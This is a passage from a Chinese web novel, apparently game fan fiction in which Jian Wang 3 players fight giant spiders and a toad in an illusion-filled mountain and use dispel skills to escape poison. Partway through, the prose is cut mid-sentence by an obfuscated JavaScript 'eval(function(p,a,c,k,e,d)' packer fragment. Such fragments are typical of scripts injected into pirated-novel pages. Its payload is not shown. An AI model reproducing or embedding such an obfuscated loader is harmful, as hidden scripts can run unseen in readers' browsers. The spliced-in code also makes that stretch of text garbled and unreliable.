——这种动物不具备直接吃掉猎物的能力,所以捕捉到猎物之后,通常以毒牙或口器向猎物身体里注入毒素,麻痹猎物的神经,让它们陷入昏迷抽搐,失去反抗能力。这之后,它会向猎物身体中灌注消化液,直到猎物被融化,再吸入液态的食物。 蜘蛛挡住了亓秀秀的视线,她只能听见噗嗤一声,是人体被撕裂的轻响,随后是长久的静默。 不知道这种能把人逼疯的静默过去了多久,洞窟里忽然响起了令人毛骨悚然的吮吸声。 片刻后,蜘蛛重新挪动脚步,之前听到的那啪嗒啪嗒的声音就是它的螯肢碰到洞窟石壁发出来的。之前的那个位置已经不见人影,一声闷响传来,是衣袍落地的声音。 一阵窸窣之后,蜘蛛选择了另一个人。 亓秀秀不想再看,她闭上了眼睛,眼泪顺着眼角流出来,落进了衣领。 这种安静中的细微响动对一个人来说,简直是巨大的折磨。她不知道这样的折磨持续了多长时间,那蜘蛛仿佛不知餍足一般,一直在洞窟里徘徊。 终于,那啪嗒啪嗒的声音,在她面前停住了。 她睁开眼,对上两只近在咫尺的巨大的红色眼睛,在这两只巨眼下端,还有一排细小的眼睛。这些眼睛都在盯着她,毫无感情,只能看到猎食者对食物冰冷的欲望。 直面这只巨蛛,她还未放弃挣扎,但麻痹的身体不听使唤,连手指都无法抬起。 在这生死关头,亓秀秀反而奇异地平静下来,心里唯一的想法竟然是:还好不是旁边的裴洛川。 巨蛛分开两片鄂叶,短暂的停滞后,那充满了毒素的螯牙猛地扎入了她的肩膀! 撕裂般的疼痛只是一刹那,从毒素注入的地方开始,亓秀秀逐渐失去知觉,连思维都开始变得迟钝。 她感觉自己好像漂浮起来,那是一种摆脱了所有沉重束缚的飘飘然。脑袋不再隐隐作痛,也没有窒息感,身体变得无比轻松,但懒洋洋的,很想睡过去。 但就在这样模糊的视线里,她隐隐约约看到面前那些红色眼睛突然齐齐地转向了另一个方向,紧接着,她的视野忽然下跌,变成了脏兮兮的泥土和残破的石壁,一道墨绿的光突兀地映在上面。 她的思绪混乱,几乎没有办法理解眼睛看到的景象,这样的混沌大概持续了四五秒,忽然,肩膀上传来的剧烈疼痛像狠狠地撕开了她的大脑,亓秀秀猝不及防地叫出了声! “秀秀!亓秀秀!” 她疼得十指深深抓入泥土中,感觉整个人都要被扯碎了,恍惚中听到有人在大吼她的名字。随即她意识到,蜘蛛已经从她的肩膀里拔出了螯牙,转身扑去了裴洛川所在的另一边,也许是认为她已经无法逃脱,蛛丝也松开了! 她跌落在地面,猛地抬起头,就看到裴洛川太阴疾退,躲开蜘蛛的扑击,洞穴里土石迸裂,四处飞溅。 细小的砂石扑到她的脸上,也是一阵火辣辣的疼痛,麻痹毒素不知为何竟然完全失效了。在那样令人不堪忍受的痛苦中,亓秀秀的思绪忽然恢复了清明,一道灵光闪过。 垂露怜衣净,翠微逐风清—— 清风垂露,花间的驱散技能,可以卸除毒性不利效果! 方叱羽面色凝重地看着自己的右手腕。 甩脱那四个怪物后,他从客栈二楼直接翻了出来,落在楼下的马棚上,结果一回头,就看见有一个怪物跟着他翻了下来。 而客栈二楼的窗纸忽然像沸水那样冒起了泡,浑浊的粘稠液体顺着窗棂的缝隙不停地往外流淌着,甚至冲破了窗纸,缓慢地向他涌来。 方叱羽看得浑身难受,他想也不想,直截了当地给了扑到他面前的怪物一掌,下一秒却猛地感到右手腕一阵剧痛! 收回右掌,方叱羽愕然发现自己手腕处竟然鲜血淋漓,那里的一小块皮肉就像被什么东西吞噬了一样,凭空消失了。 接触怪物,自己也会融化? 仅仅是这几秒的迟疑,客栈二楼的窗户竟然整个被冲破了,断裂的窗框被夹在带着脂肪和脏器的液体里顺着墙壁外沿流淌下来,在半道便重组成了那些蜡样的怪物,然后跌落在他周围。 啪嗒、啪嗒,随着怪物砸下来,那令人作呕的液体也向四方飞溅开来,方叱羽抖开仙舆,将它们尽数挡下,随后飞快地跳下马棚,怪物们紧追不舍,也跟着流了下来。 这特性倒是和水有点像。方叱羽一挑眉,看向头顶,疾夜正在天上盘桓。 “雕兄!”他扬声道,“上客栈房顶!” 疾夜清鸣一声,俯冲下来,双爪抓住方叱羽的双肩就将他提了起来,几个盘旋后,稳稳地飞向了房顶。 方叱羽轻盈落地,疾夜收起羽翼落在他身边。 “干得漂亮。”方叱羽摸摸它的脑袋,疾夜甩甩头,来回地在房顶转着圈,一副焦急的样子。 方叱羽慢慢顺着羽毛的纹路抚摸它的脖颈,轻声哄道:“没事了,没事了。” 其实他有些钻浪客行的漏洞了,让雕兄带飞按理说应当属于他的技能“驭羽骋风”,其实就是让雕兄抓住他飞起来,所以关键还得看雕兄,只要雕兄学会了,就能省下一笔玉签。 他对疾夜的自主学习能力怀有百分之百的信心,所以毫不犹豫地换了鸟盾,先给雕兄和队友上道保险。 至于他自己的技能,就只有在湘竹溪摸到的溟海御波……不对。 方叱羽忽然愣住了。 他发现自己多了一个木落雁归。 疾夜焦急地叫着,用力拿头撞方叱羽的肩膀,他们已经暂时脱离危险了,它还保持着这种焦虑的状态就很奇怪,方叱羽一边安抚它,一边思索。 木落雁归这个技能,不算特别贵,但也绝对不便宜,以换完鸟盾之后剩下的玉签数量来说是完全兑换不起的,他怎么会有木落雁归? 他还要细想下去,忽然感到一阵头疼。这头疼来得莫名其妙,方叱羽抬手扶住额头,右手腕上的血就顺着手臂流到了衣袖里。那伤口其实算不上深,以他现在的身体素质来说,一会儿也就愈合了,方叱羽便没做理会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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小队背包只能装进受到浪客行承认的物品,比如他们的香篆钟,虽然是裴洛川做出来的,但经过了赵云睿的认证,就可以当成系统物品放进去。方叱羽立刻将那只香篆钟抱出来,发现它的防尘盖上用香灰草草地写了一个字。 “马”。 马? 方叱羽再三辨认,这个马字非常潦草,显然是在极度紧迫的情况下写出来的,但还是隐约能看出来,是亓秀秀的笔迹。这就很怪了,按理说能写出这个字的应该是李千驰…… 除非,亓秀秀写的不是马,而是一个偏旁。她要写一个马字旁的字。 他打开防风盖,惊讶地发现,里面的香已经燃尽了。 昏暗幽黑的洞穴里,巨蛛停在它最后一只储备粮的面前,张开鄂叶,露出充满了毒素的口器。 这时,一声凌厉的雕鸣忽然在半空炸响! 蜘蛛立刻收起将要扎入面前食物身体的口器,愤怒地转动眼睛,在它的领地周围巡视着。它的一只巨眼就是被那只海雕所啄瞎的,现在还流着血,但它也将一部分蛛丝的毒素送入了海雕的身体中,没想到那海雕抗毒性很强,竟然挣脱了蛛丝飞走了。 洞穴蜘蛛没有游猎型蜘蛛那么快的速度,它追不上那只海雕,只能重新回到洞穴中。但它们栖息的这座山和它们一样,也是捕猎者,海雕受了伤就要被山吞掉的,早晚都会成为它的口粮。 但现在,那只海雕又回来了! 蜘蛛的螯肢和刚毛在石壁上摩擦着,发出令人牙酸的吱吱声。它无法理解,为什么海雕要进入洞穴,这对需要宽阔空间的大型鸟类来说简直就相当于自寻死路。 它的几只眼睛都紧紧地盯着海雕,准备吐出透明的蛛丝,却没看到它刚刚正要吃掉的食物忽然睁开了眼。 那双眼睛一瞬间闪过了茫然的情绪,但立刻重新聚焦,变得锐利起来。 海雕再次长长地啼鸣了一声,这次是喜悦的长鸣。 它猛地俯冲下来,掠过巨蛛的头顶,如同一道电光,冲向它的蓬莱。 疾羽若电,叱幽鸣夜。 这是有兰棹修饰的疾电叱羽,是一个蓬莱最强的盾。 蛛丝绷断,方叱羽翩然落地。他的大脑一片清明,从离开客栈到进入绥梦山的所有记忆已经有条不紊地被梳理好了,包括他的木落雁归——那是在马上要进入第二天时,用大家所平分的、香篆钟的玉签收益换来的。 而那个“马”,指的实际上就是“驱”,驱散技能。 点了兰棹的疾电叱羽,就是蓬莱的驱散。 眼前这巨蛛不好对付,他要在鸟盾还未结束时将它一击结果! 看到到口的食物恢复了清醒,巨蛛陷入了狂怒之中,仰起身体露出腹部末端的纺器,就朝他喷出一簇透明的毒丝! 方叱羽一扬手,仙舆伞面张开尽数挡住了那些透明的蛛丝,随后单手合伞在半空划过半圈,将它们全数卷起,借力甩到一旁。那巨蛛还想再吐出第二簇毒丝,方叱羽已经用足尖挑起地上土块,猛地踢向它的纺器,泥土在半空便纷纷散开跌落,被蛛丝黏住,清晰地勾勒出蛛丝的形状! 他仗伞前冲,身形缥缈如风起云扬,精准地躲开了每一根蛛丝,转眼间已经冲到巨蛛面前。和这只巨大的蜘蛛相比,方叱羽的身形显得有些渺小,但他的速度丝毫没有变弱,仙舆一横,旋身借力,向前刺出。 巨蛛也在此时高高地扬起它的一对锋利螯肢。这洞穴巨蛛浑身披满坚硬刚毛,自恃寻常刀剑根本无法穿透,连躲也不躲,就要用螯肢刺穿面前的人! 方叱羽却冷冷一笑,一刹之间,仙舆已经从右手换到左手,随后带着一道如狂涛般凌厉的气劲刺出! 飒飒风兮,木落南归! 这道刚猛的气劲穿过巨蛛螯肢之间的空隙,直直地穿透了它之前就被疾夜啄瞎的那只巨眼! 八秒。 鸟盾结束,疾夜清鸣一声,冲下来抓住方叱羽朝外飞去,在他身后,巨蛛宛如癫狂一般,在洞穴里疯狂地翻滚起来,几对步足胡乱地向四周挥舞着,毒血四溅。 方叱羽掷伞挡住那些毒血,忽然眼前一亮,他们已经冲出了洞穴。带着草木清幽气息的风扑面而来,放眼看去,入目尽是巨树深山,天空高远,淡云灰白。 这就是绥梦山。 疾夜松开双爪,方叱羽轻飘飘地旋身落下。 他先抱住疾夜,认真地感谢了一番,随后才向洞穴里跑去。 没记错的话,他们都跑散了,李千驰和叶九溪往山上去,而亓秀秀和裴洛川下了河谷。能以香篆钟做出提示,又写出半个“驱”字,冰花队应该是还没大碍,他比较担心策藏那两个倒霉玩意。 叶九溪有云栖松可以驱散自己,但李千驰没有啊! 希望裴洛川现在已经找到他们了……他在心里想着,便看到那只巨蛛已经没了气息,尸体旁边留下了金光闪闪的掉落。 摸完掉落抓紧去寻找队友。 方叱羽伸手一探,却不经意地看到了旁边,顿时愣住了。 他的大脑“轰”的一声,一片空白,连自己摸到了什么都不知道。 ——在已经被濒死巨蛛撞得满目全非的洞穴的另一端,有一小摞堆在一起的“东西”,如果不是它们的周围还散落着不能被融化的金属衣饰,方叱羽根本不会注意到。 他慢慢地起身,走了过去,整个人都陷入了一种巨大的恍惚之中,最后几步几乎是踉跄着跑过去的,单膝跪在了那一堆“东西”的前面。 蜘蛛吸食融化的猎物……也会留下外皮…… 方叱羽的手剧烈颤抖起来,他恨不得自己现在还在幻境之中,但就连幻境之中也没有如此像噩梦一样的场景。 眼前的一小堆“东西”竟然都是干瘪发皱的人体皮肤,上面还残留着黏连的血渍。 那只是露出来的一部分,更多的,已经被倒塌大半的石壁埋住了,石壁下露出衣服的一角,被混着蜘蛛毒血的泥土糊住了,已经看不出本来的门派和颜色。 他茫然地看着面前的一切。 疾夜走到他身旁,轻轻地把脑袋放到他肩膀上,哀伤地叫了一声。 10. 第二天·绥梦山(十) “我们好像快要醒过来了。” 看着交错混乱的地图边缘,李千驰兴高采烈道。 “……” 叶九溪已经不想理他了。 在他道破这幻境是以李千驰的思维为基础生成的之后,这完蛋玩意儿根本控制不住思绪,直接导致他们经历了一系列惨绝人寰的追杀。 追杀他们的NPC包括但不限于凌雪、丐帮等,李千驰被墩得到处乱窜,全靠叶九溪抗,在叶九溪忍无可忍把他骂了一顿之后,他的注意力便分给了叶九溪一点,于是他们又喜提了花间冰心毒经等专克藏剑的内功门派。 李千驰还有脸开玩笑:“起码咱俩分工很明确。” “那你可真棒。” 如果说一开始看到他们在现实中的模样还有点惊慌,现在叶九溪已经麻木了,他感觉笑和愤怒都很累,不想把珍贵的情绪浪费在笨蛋身上。 不过好处是,随着他们情绪的逐渐稳定,这幻觉似乎也开始崩溃了。 叶九溪正这么想着,忽然就是一愣。 金大厨出现在了他们面前。 金大厨?金大厨能对他们有什么危险?李千驰的潜意识里还有金大厨? 仔细一看,这个金大厨似乎又和客栈后厨的金大厨有所不同,他还是那样笑眯眯的,不过看起来好像凭空老了十几岁,忽然变得很慈祥,甚至长出了一下巴的白胡子。 这形象莫名地有点眼熟。 一种不祥的预感油然而生,叶九溪便看到金大厨笑着从身后掏出一个麻袋,步伐敏健地向他冲来,嘴里还在高呼: “狂乱木曜日谁请我吃!” “我靠!”叶九溪脚下一绊差点摔倒,顺势飞起一脚踹向李千驰,“你脑子里都是什么!” “意外,真的是意外,我发誓就想了一下下!”李千驰憋着笑躲过这一脚,顺便长枪横扫把金大厨绊了个跟头,看他瞬间融化蒸发,“你看看,没什么攻击力的,就当调节气氛了。” 他正说着,脸上表情忽然一变,竟然是怔住了。 “怎么了?”叶九溪没好气地问。 “我脸突然好痛。”李千驰摸了摸自己的脸,皱起眉头,语气古怪,“好奇怪……我感觉我好像——” 他这句话没说完,整个人便一阵扭曲,竟然凭空消失在了叶九溪面前。 “李千驰?!” 叶九溪一愣,向前冲了两步,但李千驰消失得干干净净,一点痕迹都没留下。 他一瞬间心头剧震,想起之前看到的现实里,竟然有些握不住剑柄,轻剑脱手而出,咣啷一声落在了地上。 叶九溪慢慢地蹲下去捡那柄剑。他也不知道自己心里现在是怎么想的,也许什么都没想。 这样茫然的状态持续了大概两三秒,他忽然感觉脸上一阵疼痛。 那是种很奇怪的痛法……就好像有人捏住他的脸颊在往两边扯。 “九溪!叶九溪!” 隐约间,他似乎听到了李千驰的声音。叶九溪一恍惚,忽然头猛地一阵炸裂般的疼痛,眼前就是一黑,等他缓过来,便发现自己已经出现在了之前看到的洞穴里,脸上满是巴掌印的李千驰正扯着他的脸大喊大叫,旁边还有个陌生的花间,正拿着火把,在他腿上烧着什么。 “哦,醒了醒了。”李千驰看到他回过神,赶紧松开手,假装无事发生。 伴随着剧烈的疼痛,那些失去的记忆一股脑地涌入了叶九溪的脑海中。他们是如何进入绥梦山、又是怎么和其他人分散、最后误入蜘蛛巢穴中了蛛毒,在虚弱状态下被拉入幻境…… 他低头看去,就看到花间已经烧断了他腿上的透明蛛丝,将火把插入一边岩壁的缝隙中。火光照亮了阴暗的洞穴,也映亮了他的脸。 这个花间显然是其他队伍里的,笑起来有种爽朗的少年感。 他对叶九溪说:“加个好友,我给你驱一下毒。” 叶九溪恍恍惚惚地和他加了好友,发现这个花间名叫兰瑾。下一秒,他就看见自己身上出现了清风垂露的光效,那种被麻痹之后的窒息和不适感也慢慢褪去。 他记得清风垂露可以驱散友方目标身上的不利效果,怪不得蒋玉凤说小队之间可以采用合作形式通关,看来这具体的操作应该就是通过加好友的方式来确认友方目标了。 “还好我第一天摸到了清风。”兰瑾的性格很开朗,他对两人说,“这个洞穴里只有咱们三个人,我醒过来的时候,看见有只巨蛛追着什么东西出去了,这才抓住机会叫醒你们。” “我们是和队友走散了。”叶九溪道,“多谢你。” “能救一下肯定是要救的。”兰瑾微笑,“还好暴力能把你们叫醒,不然我也不知道怎么办才好了。” 叶九溪看了一眼李千驰脸上的几道指痕,觉得不愧是花间。 兰瑾又道:“趁那只巨蛛没回来,我们走吧。” “我们三个人,干掉它不行吗?”李千驰问。 兰瑾轻轻摇了摇头:“不行,我们队伍里只有我有驱散,就算其他人看破了这是幻境,醒过来也没有办法摆脱蛛毒,我得去找他们。” 李千驰和叶九溪对视了一眼,李千驰便道:“那我们也一起吧。” 他们朝洞穴外走去,就看到岩洞入口处留下了巨蛛活动的痕迹,几道螯肢在地上划过的痕迹一路朝着山坡下去了,三人对视一眼,不知道这只巨蛛为何要这么行动。 为避免节外生枝,他们绕过那只巨蛛留下的痕迹,走另外一条小道下山。绥梦山也算得上是草木繁茂、满目碧翠,但总是给人一种灰蒙蒙的感觉。林重山深,要找人无异于大海捞针,好在他们都还记得队友大致跑散的方向。 “混战那会儿我看到你们队了,花间和冰心去了河谷。”兰瑾道,谈到队友,他脸上的笑容就消失了,神色凝重起来,“我的三个队友也去了那个方向,还有个霸刀队友是单走的,但我不知道她去哪里了。” 听到他这么说,李千驰和叶九溪想起了方叱羽。 真·单飞,别人跑路他上天。 李千驰小声对叶九溪道:“没事,他有鸟盾,而且他的雕兄比我还聪明。” 叶九溪看了他一眼,这人仅剩的智商怕不是都点在自知之明上了。 时间紧迫,他们加快速度下山,往地势较低的地方一路前行。这一路上他们都没有再遇到什么蜘蛛袭击,甚至连那种透明蛛网都没再见到一张。微风吹拂着草叶,轻轻晃动,竟然有一种安详的静谧氛围。 很快,脚下的土地就变得泥泞起来,一脚下去能溅起不少泥点,还可以听见些微的水声,两旁的山势也开始逐渐聚拢,空气中渐渐漂浮着湿润的水汽。 “似乎前面就是河谷?”李千驰吹了声口哨叫出绿螭骢,翻身上马,对兰瑾和叶九溪道,“我先去探探路!” 他行动力极强,双腿一夹马腹,已经跑出去一段距离了,好在前方地势越发平坦,最多也只是有些稍微阻碍视线的林木,想来不会有什么危险。 兰瑾却低头看向他们脚底。越靠近谷地,地上就多了很多浅浅的水洼。 “这里倒是有点像沼泽。”他眉头紧皱,说。 叶九溪也低头看去,兰瑾说得不错,也许是地势低洼的关系,这里看起来似乎很容易积水,走在其中,靴子都被打湿了,黏答答地贴在脚面上,很是难受。 “真是奇怪。”兰瑾抬起头,看向两边高高的山壁和中间一线狭窄的天空,遥遥地还能望见山岚深处隐约的吊桥形状,“我们这一路走来似乎没有再看到蜘蛛网,但按理说这个地形最适合它们用那种透明蛛网进行伏击。” 他似乎极擅长分析,又道:“看那吊桥的方位,我们应该绕过了一个山头,走到了绥梦山这张地图的另一面,和那些下河谷的人恰好是相向而行。如果前面确实是我们之前所看到的那个河谷,那他们一直前进的话,应该会经过这里,但是……” 叶九溪明白他的意思。这里都是泥地,却没有留下人的脚印,说明亓秀秀他们还没来过。最糟糕的是,这条狭长的谷地被两侧陡峭山壁包围着,不像是有其他出路的样子;如果前面真是河谷,那只能说明,亓秀秀他们极有可能遇到了意外。 马蹄踏过浅水的声音由远及近,是李千驰策马回来了,离得还很远就已经扬声叫道:“走对了!前面就是那个河谷!” 叶九溪的心沉了下去。他看了一眼兰瑾,兰瑾也是眉头紧皱,抿紧了唇。 证明了路没走错,李千驰本来兴高采烈,但老远看到他们这副表情,也迷惑起来,高声问:“你们怎么了?” 叶九溪本来想跟他说明原委,但一抬眼,忽然发现李千驰竟然面色大变,视线定格在他们身后头顶。 “快跑!!”李千驰大吼出声,嗓音都因为极度的焦急而嘶哑破音了,“快跑啊!” 他们是打了多少年的33队友了,早在看到李千驰变脸的那一瞬间叶九溪就发觉不对,他猛地拉住身旁的兰瑾向前跑去,也就是在迈步的同时,他忽然后脑一凉,一种极度危险的感觉涌上心头,顿时浑身寒毛倒竖,想也不想便紧紧抓住兰瑾,千叶长生出鞘,就是一式玉泉鱼跃,飞快地向前冲去。 然而玉泉虽然是快速位移,却因为带了一个人而速度略有减慢。叶九溪低头看去,赫然发现,一个巨大的黑影正迅速地从他们头顶上笼罩下来,与此同时,他已经感觉到后背疾风猎猎,一阵腥臭难闻的气息夹杂在破空声里猛地袭来。 眼看那黑影追着他们快速下落,就要完全罩住两人,一声马嘶,却是李千驰任驰骋纵马赶到。两人对视一眼,轻剑归鞘,李千驰松开马缰,双手抓住叶九溪和兰瑾,一声断喝,将他们硬生生提上马背。这一系列动作都在电光石火间完成,绿螭骢马蹄不停,又径直冲了出去,但速度依然慢那黑影一分! “抓紧!”李千驰低吼,竟然在半空跳下马背,绿螭骢被收回的同时,长□□出,他借力向前冲去。 避我者生,挡我者死——疾! 玉泉、任驰骋与疾三个技能连交,这下总算是堪堪脱出了那黑影覆盖的范围,三个人摔成一团滚在水洼里,叶九溪和兰瑾终于能回头一看。 这一望之下,两人都是神情大骇。兰瑾翻身跳起,璃光浮远在指尖急转,千钧一发之际,一道绿光笼住挡在最前面的李千驰。下一秒,一束剑一样的黑色液体就猛地喷来,但李千驰身周已经环绕起春泥护花的光效,仅在刹那之间,八层护盾齐齐被打破,但总算是挡下了那些黑水,它们洒落到地上,周围的草叶竟然迅速泛黄枯萎,可见其毒性之猛烈。 总算有了喘息之机,三个人看着面前的景象,竟然一时没人说话,只剩此起彼伏的激烈的呼吸声。 那从头顶掉落下来的,赫然是一只巨大的蜘蛛! 这只巨蛛通体漆黑,背上有火焰一样的鲜红花纹。虽然蜘蛛大多体型轻盈,但这一只体型之巨,竟然堪比一座小土坡了,从那么高的地方掉下来,它似乎也受了点伤,刚刚那蓬毒液就是从它身上飞溅出来的。 “就是这一只!”兰瑾叫道,“这就是我们之前那个洞窟里的蜘蛛!” 李千驰和叶九溪难以置信地看着他。 你倒是早说这蜘蛛这么大啊! 那黑蛛可能也是摔蒙了,半天没有动弹,身体一起一伏,黑中透绿的血慢慢流到地上的水洼里来。几人对视了一眼,赶紧爬起来避开地上的水坑,避免被那毒血沾到。 “它怎么会从上面掉下来?” 李千驰奇怪道。 叶九溪仔细打量那只黑蛛,发现它身上竟然有不少伤口。这黑蛛和现实中的蜘蛛不同,身上有一层看起来就无比坚硬的黝黑外壳,泛着金属般的光泽,而那些伤口竟然都劈开了这外壳。 最奇特的是,那些伤口的形状都极小极细,像针一样。 “这好像不是玩家的技能吧?”他问道。 兰瑾还没说话,旁边的李千驰抢答:“是容嬷嬷。” 他俩很有默契地都没理这个脱线天策,兰瑾道:“的确,剑三没有这种技能。” “管他的呢,走,收了它!”李千驰长枪一横,“趁它病,要它命!” 三人达成共识,李千驰和叶九溪小心翼翼避开地上逐渐扩散的毒血,向那黑蛛走去。 眼看着大片的草叶已经全数枯黄,兰瑾无意间往水洼边瞥了一眼,却愣了一下。 他蹲下身,用戴着手套的手轻轻抚开那些焦枯的水草叶子,它们根部的东西便暴露了出来。那是几条透明的带状物,中间极均匀地分布着一个个黑色的圆球,看着有点眼熟。 “这……” 忽然,那半天没有动静的黑蛛猛烈地挣扎起来,丝毫不顾随着动作又流出了更多的血,举起螯肢,大大张开口器,做出威胁的动作! 李千驰和叶九溪对视一眼,都以为是它感知到了他们的接近,两个人也不多话,伏下身子,就准备冲上去。 “别动!” 兰瑾急喝道。 他忽然想起这是什么了! “千万别动!”他的颊边慢慢流下冷汗,压低音量,对二人说,“先站在原地……一点动作都不要有,最好也别发出声音……” 随着他话音的落下,这绥梦山似乎陷入了诡异的寂静之中,风吹草动都变得格外明显。不用兰瑾再说了,李千驰和叶九溪已经各自停下动作,从他们的视野里,正好能看见,那山崖上正在向下跳的巨大阴影! 那竟然是一只蟾蜍! 兰瑾趁那蟾蜍还未接近,以最轻微的幅度迅速将身旁的草叶都翻了一遍,发现这里竟然全是那种透明带黑球的带状物——也就是蟾蜍的卵,显然,他们进入了蟾蜍的领地。 看黑蛛的样子,似乎也是颇为忌惮那只蟾蜍,几人不约而同想起它离开洞穴的事情,很有可能当时它的离去就和这蟾蜍有关,但不知为何,它竟然从山崖上方摔了下来,而这只蟾蜍也紧跟着它跳下来了。 它虽然体型巨大,但速度极快,几乎瞬间就到了黑蛛面前。 近距离看这蟾蜍的外形极其狰狞恐怖,身上遍布黑褐斑纹,背上满是流着黏液的疣粒,两只硕大突出的眼睛竟然是绿油油的,瞳仁极细,被它盯着的时候,会产生一种面对着捕食者的强烈压迫感。 蛙眼只能捕捉到动态事物,果然,那蟾蜍连理都没理李千驰二人,直直地扑向了黑蛛。刹那间,两只巨型毒物便厮杀起来,显然这蟾蜍并不惧怕黑蛛的毒素,长舌以肉眼难以捕捉的速度朝它刺出,但黑蛛也不那么容易对付,即使已经受伤,它还是从纺器里喷出蛛丝拦住蟾蜍,同时用螯肢刺了过去! 它们打得昏天黑地,毒血和黏液四溅,李千驰和叶九溪赶紧趁机后撤。三个人这才真是叫苦不迭——山谷狭窄,两只毒物打得土石坍崩,甚至还拦住了他们的去路,更不用说那剧毒的血液和会阻碍人行动的蛛丝,粘上一点恐怕就要出事,一时间竟然只能狼狈闪躲。 “我们是找机会跑还是继续观望一下?”李千驰侧头躲过飞来的一块巨石,大喊。 “跑吧!”兰瑾也大声道,“这山不结实,我怕它等会儿塌了!” 叶九溪却犹豫道:“它们看起来好像会掉好东西的样子……就这么走了有些浪费……” 兰瑾一愣,李千驰赶紧解释:“财迷,贪得很!自从进了浪客行症状一天比一天严重!” 虽然心里不舍,但它们打斗的动静太大,如果进去横插一脚,极有可能把自己的性命搭上。叶九溪遗憾地打了个手势,同意撤退。 变故就在这个时候发生了。只听黑蛛发出嘶嘶的吃痛声,三人回头看去,发现它背上一块硬壳已经被蟾蜍生生连着下面的毒腺一起拔掉了,黑血顿时像一条小瀑布一样喷了出来。而那蟾蜍显然也知道挑弱点攻击,长舌一伸,直直地刺进了那裸露出来的伤口内,力量惊人,竟然硬是将黑蛛挑飞,重重地砸到了一边! “卧槽!”差点被黑蛛砸到,三个人赶紧躲开四溅的毒血。 黑蛛在这一次摔落之后,竟然就没有了动静,似乎已经死去,那八只鲜红的眼睛还死死地看着三个人的方向,好像很不甘心。而蟾蜍干掉了死敌,高高地鼓起气囊,发出一阵震耳欲聋的得意鸣叫。 几个人被这声浪震得头晕眼花,偏偏黑蛛已死,他们不敢动弹,只能以眼神交流。 李千驰:找机会干掉它?踩倒缴械起风车一波带走?哦不对好像用不着缴械……行的话我可就上了啊! 叶九溪:你上个头,看到它背上那些疙瘩了吗?里面全是毒素!你以为清风不用CD?风车没转完你先被毒死了! 兰瑾的眼神在他们之间来回移转,一脸迷惑:什么意思,队内语音不带我? 好在那蟾蜍也没有过多停留的意思,很快便一跳一跳地越过了他们,朝前面去了。李千驰竖起拇指比了比,示意大家跟在那蟾蜍背后。 只是他们走出几步才后知后觉,不知何时,那萦绕在半山的白雾竟然缓缓下沉,逐渐弥漫了整个山谷,好在这雾虽然来得怪异,却只是普通的山岚,并没有毒性。 借这突如其来的雾做掩护,他们蹑手蹑脚地前进,尽量不引起蟾蜍的注意,还在想着怎么搞定它,不过那蟾蜍体型巨大、跳得也远,很快就把他们甩开了一段距离。 眼见它的身形在白雾中逐渐模糊,兰瑾终于松了口气,他转向李千驰,还未说话,便看见对方神色一变,竟是猛地转身向后跑去。 这动作幅度太大,很可能引起前方还没跳远的蟾蜍的注意,兰瑾一愣,刚想叫住他,却突然发现不知何时叶九溪竟然不在他们身边了。 他是极聪明的人,心念电转,立刻叫了声不好,也跟着朝后跑去。 那黑蛛可能在装死! 来路几乎已经完全被白雾遮掩,果然,没跑几步,他们就看见叶九溪正以重剑泰阿撑住地面,死死和拉着他朝后拖去的蛛丝抵抗。他全身竟然都已经被那透明蛛丝死死缠住,毒素传递极快,已是口不能言,全靠深深插入地面的泰阿支撑,兰瑾立刻一个清风垂露驱散毒性,顺手从小队背包里掏出一个火把点燃,就去燎断蛛丝。 而李千驰长枪在手,已经朝那黑蛛突了过去! 那黑蛛知道自己也是强弩之末,竟然爆发出诡异的速度,几对螯肢撑起身体快速后退,隐没在了白雾之中。 毒性渐渐消退,叶九溪猛地喘了两口气,朝李千驰喊道:“雾太浓了,别追!” 先前那黑蛛竟然借着大雾,无声无息地朝他吐出蛛丝,直到被缠住往后拖去他才发觉,幸好他反应够快,在双臂也被缚住之前及时切了重剑死死插进地里,这才拖延了一段时间,让李千驰和兰瑾发现异常。 李千驰狠狠地往黑蛛消失的方向看了一眼,才收枪走了回来。只是不知道是不是垂死挣扎的原因,它这次吐出来的蛛丝竟然格外坚韧,兰瑾手持火把烧了半天,也才烧断一部分。 叶九溪抬头看兰瑾,发现他的脸色竟然极其难看。 “怎么了?”他不禁问。 “刚刚拿火把的时候,看到我们队背包里的东西竟然没人动过。”兰瑾低声道,“什么都没少……绷带、凝血精……” 他抿住唇不再往下说了,只是安静地继续给叶九溪烧着腿上的蛛丝。 “……”叶九溪也不知道怎么宽慰他,轻轻地拍了拍他的肩膀。不过兰瑾倒是给他提了醒,他也看了一眼小队背包,有些犹豫。 “没事。”兰瑾朝他苦笑,“你要拿什么,拿出来就是。我……心理有准备了。” “……说不定你的队友们已经汇合了,没人受到太过严重的伤。”叶九溪拿出那只被单独放在最后的大号香篆钟,想了想,又轻声补充道。 但他自己也知道,这样的概率实在是太小。 兰瑾叹了口气,转而看向叶九溪手里香炉一样的钟,上面用香灰胡乱地划着两个字,“驱”和“安”,能看出来驱字有半边是另一个人写的,说明他们分散的队友大概都已经从幻觉里挣脱出来了。 他看着叶九溪沾了点香灰,也写了个“安”在上面,垂下眼睛,掩住羡慕的神情。 这话题太沉重了,那毕竟是沉甸甸的生死,连李千驰都沉默了。好半天,他才憋出来一句:“这丝怎么烧不断啊。” 话题被转移,几人开始心照不宣地研究起叶九溪腿上的蛛丝。先前在洞穴里时,那蛛丝几乎一燎就断,这次烧了半天却仍有残留。他们仔细一看,就发现那透明蛛丝里混着一些红黑的细线。 不是所有蛛丝都混着细线,但烧不断的恰恰就是这些。 “那黑蜘蛛已经离死不远,可能将纺器里最后的丝也吐出来了。”兰瑾用火把尾端拨弄了一下那些蛛丝,发现它已经几乎没有了黏性,但却像铁箍一样缠得很紧,一时半会竟然也无可奈何,“没办法,只能一直烧了。” 他们正被这蛛丝拖延住时间之际,却听见白雾深处传来了窸窸窣窣的声音,好像什么东西正在接近。三人抬眼望去,就看到雾中影影绰绰,似乎有人影晃动。 李千驰立刻起身,挡在两人面前,警惕地看着那个方向。待近一些,他们便看到雾中隐约是一个瘦瘦高高的黑影,好像确实是走来了一个人。 这地图满是毒物,有人,那肯定是与他们相同的玩家,说不定就是他们的队友,三人顿时一喜。只是这喜悦还没持续几秒,就见那人影身后忽然出现了一个巨大模糊的影子,看形状,正是那只蟾蜍。 